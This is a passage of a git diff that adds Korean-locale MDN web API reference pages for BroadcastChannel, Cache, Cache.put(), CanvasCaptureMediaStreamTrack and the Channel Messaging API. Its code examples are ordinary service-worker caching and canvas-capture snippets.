+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ko/web/api/broadcastchannel/index.html b/files/ko/web/api/broadcastchannel/index.html
new file mode 100644
index 0000000000..a229e41829
--- /dev/null
+++ b/files/ko/web/api/broadcastchannel/index.html
@@ -0,0 +1,92 @@
+---
+title: BroadcastChannel
+slug: Web/API/BroadcastChannel
+tags:
+ - API
+ - Broadcast Channel API
+ - Experimental
+ - HTML API
+ - Interface
+ - Reference
+translation_of: Web/API/BroadcastChannel
+---
+<p>{{APIRef("Broadcast Channel API")}}</p>
+
+<p>The <code><strong>BroadcastChannel</strong></code> interface represents a named channel that any {{glossary("browsing context")}} of a given {{glossary("origin")}} can subscribe to. It allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin. Messages are broadcasted via a {{event("message")}} event fired at all <code>BroadcastChannel</code> objects listening to the channel.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt>
+ <dd>Creates an object linking to the named channel.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.name")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}}, the name of the channel.</dd>
+ <dt>
+ <h3 id="Event_handlers">Event handlers</h3>
+ </dt>
+ <dt>{{domxref("BroadcastChannel.onmessage")}}</dt>
+ <dd>An {{domxref("EventHandler")}} property that specifies the function to execute when a {{event("message")}} event is fired on this object.</dd>
+ <dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{domxref("MessageEvent")}} of type {{domxref("MessageError")}} is fired—that is, when it receives a message that cannot be deserialized.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods from its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.postMessage()")}}</dt>
+ <dd>Sends the message, of any type of object, to each <code>BroadcastChannel</code> object listening to the same channel.</dd>
+ <dt>{{domxref("BroadcastChannel.close()")}}</dt>
+ <dd>Closes the channel object, indicating it won't get any new messages, and allowing it to be, eventually, garbage collected.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/BroadcastChannel/message_event">message</a></code></dt>
+ <dd>Fired when when a message arrives on the channel.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/BroadcastChannel/onmessage">onmessage</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/BroadcastChannel/messageerror_event">messageerror</a></code></dt>
+ <dd>Fired when a message arrives that can't be deserialized.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/BroadcastChannel/onmessageerror">onmessageerror</a></code> property.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.BroadcastChannel")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Another, more heavyweight, way of communicating between browser contexts: {{domxref("ServiceWorker")}}.</li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API overview</a></li>
+</ul>
diff --git a/files/ko/web/api/cache/index.html b/files/ko/web/api/cache/index.html
new file mode 100644
index 0000000000..6c829f8d8c
--- /dev/null
+++ b/files/ko/web/api/cache/index.html
@@ -0,0 +1,148 @@
+---
+title: Cache
+slug: Web/API/Cache
+tags:
+ - API
+ - Cache
+ - Draft
+ - Experimental
+ - Interface
+ - Offline
+ - Reference
+ - Service Workers
+ - Storage
+translation_of: Web/API/Cache
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><strong><code>Cache</code></strong> 인터페이스는 {{domxref ( "ServiceWorker")}} 의 생명주기의 일부로 캐시 된 <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code>와 <code><a href="http://fetch.spec.whatwg.org/#response">Response</a></code>를 나타냅니다.</p>
+
+<p>도메인은 여러개의 이름이 지정된 <code>Cache</code> 객체를 가질 수 있으며 그 객체들은 {{domxref("ServiceWorker")}}가 완전히 제어합니다.{{domxref("ServiceWorker")}} 스크립트가 <code>Cache</code> 업데이트를 어떻게 컨트롤 할지에 대해서 구현해야 합니다. 명시적으로 요청하지 않으면 <code>Cache</code> 항목들은 업데이트 되지 않습니다. 삭제되지 않으면 만료되지 않습니다. {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} 을 사용하여 특정 이름으로 지정 된 <code>Cache</code> 객체를 로드하고 <code>Cache</code> 메서드를 호출하여 캐시를 유지 관리합니다.</p>
+
+<p>또한 캐시 항목을 정기적으로 삭제해야 합니다. 각각의 브라우저는 {{domxref("ServiceWorker")}}가 사용할 수 있는 캐시 저장소의 양에 대해서 제한을 엄격하게 두고 있습니다. 브라우저는 디스크 공간을 관리하기 위해서 최선을 다하지만 원본에 대한 캐시 저장소를 삭제할 수 있습니다. 브라우저는 일반적으로 원본에 대한 모든 데이터를 삭제하거나 원본에 대한 모든 데이터를 삭제하지 않을 것입니다. 이름지어진 특정 캐시 버전을 확인하고 안전하게 작동할 수 있는 {{domxref("ServiceWorker")}} 버전에서만 캐시를 사용하십시오. 캐시 삭제에 대한 자세한 내용은 <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Deleting old caches</a>을 참고하세요.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 초기 캐시 구현(Blink 및 Gecko)은 응답이 완전히 기록될 때 {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, 그리고 {{domxref("Cache.put")}} 로 확인 됩니다. 보다 최근 사양 버전에서의 최신언어들은 응답이 여전히 스트리밍이 되는 경우에도 해당 내용이 데이터베이스에 기록되는 즉시 브라우저가 확인할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Cache.put")}}, {{domxref("Cache.add")}}, 그리고{{domxref("Cache.addAll")}} 은 오직 <code>GET</code> 요청들만 cache로 저장됩니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> 캐시 API는 HTTP 캐시 헤더를 따르지 않습니다.</p>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Cache.match", "Cache.match(request, options)")}}</dt>
+ <dd>{{domxref("Cache")}}객체의 첫 번째 일치하는 요청과 관련된 응답으로 확인되는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}</dt>
+ <dd>{{domxref("Cache")}} 객체에서 일치하는 모든 요청의 배열로 해석되는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Cache.add", "Cache.add(request)")}}</dt>
+ <dd>URL을 가져 와서 추출해서 결과 객체를 지정된 캐시에 추가합니다. 이는 fetch()를 호출 한 다음 Cache.put()을 사용하여 캐시에 결과를 추가하는 것과 매우 유사합니다.</dd>
+ <dt>{{domxref("Cache.addAll", "Cache.addAll(requests)")}}</dt>
+ <dd>URL 배열을 가져 와서 추출하고 결과 응답 객체를 지정된 캐시에 추가합니다.</dd>
+ <dt>{{domxref("Cache.put", "Cache.put(request, response)")}}</dt>
+ <dd>요청과 응답을 모두 가져 와서 지정된 캐시에 추가합니다.</dd>
+ <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt>
+ <dd>해당 키가 request인 {{domxref("Cache")}}를 찾고 {{domxref("Cache")}}를 삭제하고 <code>true</code> 판정인 {{jsxref("Promise")}}를 리턴합니다. {{domxref("Cache")}} 항목이 없으면 <code>false</code>를 반환합니다.</dd>
+ <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt>
+ <dd>{{domxref("Cache")}} 키 배열은 결정된 {{jsxref("Promise")}}를 리턴합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 코드는 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service worker selective caching sample</a> 에서 가져왔습니다. (see <a href="https://googlechrome.github.io/samples/service-worker/selective-caching/">selective caching live</a>). 이 코드는{{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}을 사용하여 <code>font/</code>로 시작하는 <code>Content-Type</code> header로 <code>Cache</code>를 엽니다.</p>
+
+<p>그런 다음 코드는 {{domxref("Cache.match", "Cache.match(request, options)")}}를 사용하여 캐시에 이미 일치하는 글꼴이 있는지 확인한 후 일치하는 글꼴을 반환합니다. 일치하는 글꼴이 없으면 코드는 네트워크에서 글꼴을 가져오고 {{domxref("Cache.put","Cache.put(request, response)")}}을 사용하여 가져온 리소스를 캐시합니다.</p>
+
+<p>이 코드는 {{domxref("Globalfetch.fetch","fetch()")}} 연산에서 발생한 예외를 처리합니다. HTTP오류 응답(예 : 404)은 예외를 발생시키지 않습니다. 적절한 오류 코드가있는 일반 응답 객체를 리턴합니다.</p>
+
+<p>또한 코드 스니펫은 {domxref ( "ServiceWorker")}}가 사용하는 캐시 버전 관리를 위한 모범 사례를 보여줍니다. 이 예에서는 캐시가 하나 밖에 없지만 동일한 접근법을 여러 캐시에 사용할 수 있습니다. 캐시의 단축 식별자를 특정 버전의 캐시 이름에 매핑합니다. 또한 이 코드는 <code>CURRENT_CACHES</code>에 이름이 지정되지 않은 모든 캐시를 삭제합니다.</p>
+
+<div class="note"><strong>Note:</strong> 크롬에서, chrome://inspect/#service-workers 를 방문하여 "inspect" 를 클릭하여 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service-worker.js</a> 스크립트가 수행중인 다양한 작업에 대한 로깅 구문을 확인합니다.</div>
+
+<pre class="brush: js">var CACHE_VERSION = 1;
+
+// Shorthand identifier mapped to specific versioned cache.
+var CURRENT_CACHES = {
+ font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+ var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+ return CURRENT_CACHES[key];
+ });
+
+ // Active worker won't be treated as activated until promise resolves successfully.
+ event.waitUntil(
+ caches.keys().then(function(cacheNames) {
+ return Promise.all(
+ cacheNames.map(function(cacheName) {
+ if (expectedCacheNames.indexOf(cacheName) == -1) {
+ console.log('Deleting out of date cache:', cacheName);
+
+ return caches.delete(cacheName);
+ }
+ })
+ );
+ })
+ );
+});
+
+self.addEventListener('fetch', function(event) {
+ console.log('Handling fetch event for', event.request.url);
+
+ event.respondWith(
+
+ // Opens Cache objects that start with 'font'.
+ caches.open(CURRENT_CACHES['font']).then(function(cache) {
+ return cache.match(event.request).then(function(response) {
+ if (response) {
+ console.log(' Found response in cache:', response);
+
+ return response;
+ }
+ }).catch(function(error) {
+
+ // Handles exceptions that arise from match() or fetch().
+ console.error(' Error in fetch handler:', error);
+
+ throw error;
+ });
+ })
+ );
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Cache")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/cache/put/index.html b/files/ko/web/api/cache/put/index.html
new file mode 100644
index 0000000000..9237ee6efe
--- /dev/null
+++ b/files/ko/web/api/cache/put/index.html
@@ -0,0 +1,118 @@
+---
+title: Cache.put()
+slug: Web/API/Cache/put
+tags:
+ - API
+ - Cache
+ - Experimental
+ - Method
+ - Reference
+ - Service Workers
+ - ServiceWorker
+ - put
+translation_of: Web/API/Cache/put
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">The <strong><code>put()</code></strong> method of the {{domxref("Cache")}} interface allows key/value pairs to be added to the current {{domxref("Cache")}} object.</span></p>
+
+<p>Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+ if (!response.ok) {
+ throw new TypeError('Bad response status');
+  }
+ return cache.put(url, response);
+})
+
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>put()</code> will overwrite any key/value pair previously stored in the cache that matches the request.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with <code>Response.status</code> values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">cache.put(request, response).then(function() {
+ // request/response pair has been added to the cache
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>The {{domxref("Request")}} you want to add to the cache.</dd>
+ <dt>response</dt>
+ <dd>The {{domxref("Response")}} you want to match up to the request.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{jsxref("Promise")}} that resolves with void.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The promise will reject with a <code>TypeError</code> if the URL scheme is not <code>http</code> or <code>https</code>.</p>
+</div>
+
+<h2 id="Examples" style="line-height: 30px; font-size: 2.14285714285714rem;">Examples</h2>
+
+<p>This example is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.</li>
+ <li>If not, open the <code>v1</code> cache using <code>open()</code>, put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using <code>return response.clone()</code>. Clone is needed because <code>put()</code> consumes the response body.</li>
+ <li>If this fails (e.g., because the network is down), return a fallback response.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Cache.put")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html
new file mode 100644
index 0000000000..de8703deb5
--- /dev/null
+++ b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html
@@ -0,0 +1,69 @@
+---
+title: CanvasCaptureMediaStreamTrack.canvas
+slug: Web/API/CanvasCaptureMediaStreamTrack/canvas
+tags:
+ - 웹
+ - 캔버스
+translation_of: Web/API/CanvasCaptureMediaStreamTrack/canvas
+---
+<div>{{APIRef}}</div>
+
+<p>The {{domxref("CanvasCaptureMediaStreamTrack")}} <strong><code>canvas</code></strong>읽기 전용 속성은 프레임이 캡쳐되는{{domxref("HTMLCanvasElement")}} 를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">var <var>elt</var> = <var>stream</var>.canvas;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">캡처되는 프레임의 원본인 canvas를 나타내는 </span></font>HTMLCanvasElement</code> .</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js notranslate">// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 얻기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// stream 처리하기
+...
+
+// stream과 연결된 canvas 가져오기
+var canvas = stream.canvas;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">내용</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-canvas', 'CanvasCaptureMediaStreamTrack.canvas')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 데이터에 기여하고 싶다면,   <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하여 pull request를 보내주세요.</div>
+
+<p>{{Compat("api.CanvasCaptureMediaStreamTrack.canvas")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}} to create a stream to capture a given canvas element.</li>
+ <li>{{HTMLElement("canvas")}}</li>
+</ul>
diff --git a/files/ko/web/api/canvascapturemediastreamtrack/index.html b/files/ko/web/api/canvascapturemediastreamtrack/index.html
new file mode 100644
index 0000000000..26c00af3eb
--- /dev/null
+++ b/files/ko/web/api/canvascapturemediastreamtrack/index.html
@@ -0,0 +1,72 @@
+---
+title: CanvasCaptureMediaStreamTrack
+slug: Web/API/CanvasCaptureMediaStreamTrack
+tags:
+ - CanvasCaptureMediaStreamTrack
+ - Experimental
+ - Frame Capture
+ - Interface
+ - Media
+ - Media Capture
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - Web
+translation_of: Web/API/CanvasCaptureMediaStreamTrack
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">The <strong><code>CanvasCaptureMediaStreamTrack</code></strong> interface represents the video track contained in a {{domxref("MediaStream")}} being generated from a {{HTMLElement("canvas")}} following a call to {{domxref("HTMLCanvasElement.captureStream()")}}.</span></p>
+
+<p>Part of the <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of its parent, {{domxref("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasCaptureMediaStreamTrack.canvas")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("HTMLCanvasElement")}} object whose surface is captured in real-time.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of its parent, {{domxref("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasCaptureMediaStreamTrack.requestFrame()")}}</dt>
+ <dd>Manually forces a frame to be captured and sent to the stream. This lets applications that wish to specify the frame capture times directly do so, if they specified a <code>frameRate</code> of 0 when calling {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}}.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.CanvasCaptureMediaStreamTrack")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}} to begin capturing frames from a canvas</li>
+</ul>
diff --git a/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html
new file mode 100644
index 0000000000..aff25aaaa3
--- /dev/null
+++ b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html
@@ -0,0 +1,69 @@
+---
+title: CanvasCaptureMediaStreamTrack.requestFrame()
+slug: Web/API/CanvasCaptureMediaStreamTrack/requestFrame
+tags:
+ - 캔버스
+translation_of: Web/API/CanvasCaptureMediaStreamTrack/requestFrame
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">The {{domxref("CanvasCaptureMediaStreamTrack")}} 의 메서드 <strong><code>requestFrame()</code></strong> 은 canvas에서 프레임을 캡처하여 stream으로 보낼 것을 요청한다. 렌더링 타이밍과 프레임 캡처를 섬세하게 제어해야하는 애플리케이션은 </span> <code>requestFrame()</code> 을 사용해 프레임을 캡처할 시기를 직접 지정할 수 있다.</p>
+
+<p>프레임의 자동 캡처를 방지하려면 <code>requestFrame()</code> 이 호출될 때만 프레임이 캡처되도록 {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}} 메서드에 값을 0으로 지정하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>stream</var>.requestFrame();
+</pre>
+
+<h3 id="Return_값">Return 값</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="참고_사항">참고 사항</h2>
+
+<p>현재 사양에는 canvas가 origin-clean 이 아닌 경우 예외를 발생시키지 않는다는 점을 지적하는 문제가 플래그로 표시되어 있다. 이것은 앞으로 바뀔 수 있기 때문에 계획을 미리 세우고  <code>SecurityError</code> (적용될 수 있는 구체적인 오류는 사양에 언급되어 있지 않지만, 유력한 후보임)와 같은 예외사항을 지켜보는 것이 좋다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js notranslate">// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 가져오기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// canvas의 현재 상태를 프레임으로 stream에 보내기
+stream.getVideoTracks()[0].requestFrame();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">내용</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-requestframe', 'CanvasCaptureMediaStream.requestFrame()')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 을 확인하여 pull request를 보내주세요</div>
+
+<p>{{Compat("api.CanvasCaptureMediaStreamTrack.requestFrame")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("CanvasCaptureMediaStream")}}, the interface it belongs to.</li>
+ <li>{{HTMLElement("canvas")}}</li>
+</ul>
diff --git a/files/ko/web/api/channel_messaging_api/index.html b/files/ko/web/api/channel_messaging_api/index.html
new file mode 100644
index 0000000000..c65fe58975
--- /dev/null
+++ b/files/ko/web/api/channel_messaging_api/index.html
@@ -0,0 +1,91 @@
+---
+title: Channel Messaging API
+slug: Web/API/Channel_Messaging_API
+tags:
+ - API
+ - Channel messaging
+ - HTML API
+ - Overview
+ - Reference
+translation_of: Web/API/Channel_Messaging_API
+---
+<p>{{DefaultAPISidebar("Channel Messaging API")}}</p>
+
+<p class="summary">The <strong>Channel Messaging API</strong> allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Channel_messaging_concepts_and_usage">Channel messaging concepts and usage</h2>
+
+<p>A message channel is created using the {{domxref("MessageChannel.MessageChannel", "MessageChannel()")}} constructor. Once created, the two ports of the channel can be accessed through the {{domxref("MessageChannel.port1")}} and {{domxref("MessageChannel.port2")}} properties (which both return {{domxref("MessagePort")}} objects.) The app that created the channel uses <code>port1</code>, and the app at the other end of the port uses <code>port2</code> — you send a message to <code>port2</code>, and transfer the port over to the other browsing context using {{domxref("window.postMessage")}} along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.)</p>
+
+<p>When these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to. For instance a port, when is sent, cannot be used anymore by the original context. Note that the only two objects that can currently be transferred are {{domxref("ArrayBuffer")}} and {{domxref("MessagePort")}}.</p>
+
+<p>The other browsing context can listen for the message using {{domxref("MessagePort.onmessage")}}, and grab the contents of the message using the event's <code>data</code> attribute. You could then respond by sending a message back to the original document using {{domxref("MessagePort.postMessage")}}.</p>
+
+<p>When you want to stop sending messages down the channel, you can invoke {{domxref("MessagePort.close")}} to close the ports.</p>
+
+<p>Find out more about how to use this API in <a href="/en-US/docs/Web/API/Channel_Messaging_API/Using_channel_messaging">Using channel messaging</a>.</p>
+
+<h2 id="Channel_messaging_interfaces">Channel messaging interfaces</h2>
+
+<dl>
+ <dt>{{domxref("MessageChannel")}}</dt>
+ <dd>Creates a new message channel to send messages across.</dd>
+ <dt>{{domxref("MessagePort")}}</dt>
+ <dd>Controls the ports on the message channel, allowing sending of messages from one port and listening out for them arriving at the other.</dd>
+ <dt>{{domxref("PortCollection")}}</dt>
+ <dd>An array of <code>MessagePort</code>s; an experimental solution to allow broadcasting of a message to multiple ports simultaneously.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li>We have published a <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-basic">channel messaging basic demo</a> on Github (<a href="http://mdn.github.io/dom-examples/channel-messaging-basic/">run it live too</a>), which shows a really simple single message transfer between a page and an embedded {{htmlelement("iframe")}}.</li>
+ <li>You can also see a <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-multimessage">multimessaging demo</a> (<a href="http://mdn.github.io/dom-examples/channel-messaging-multimessage/">run this live</a>), which shows a slightly more complex setup that can send multiple messages between main page and IFrame.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
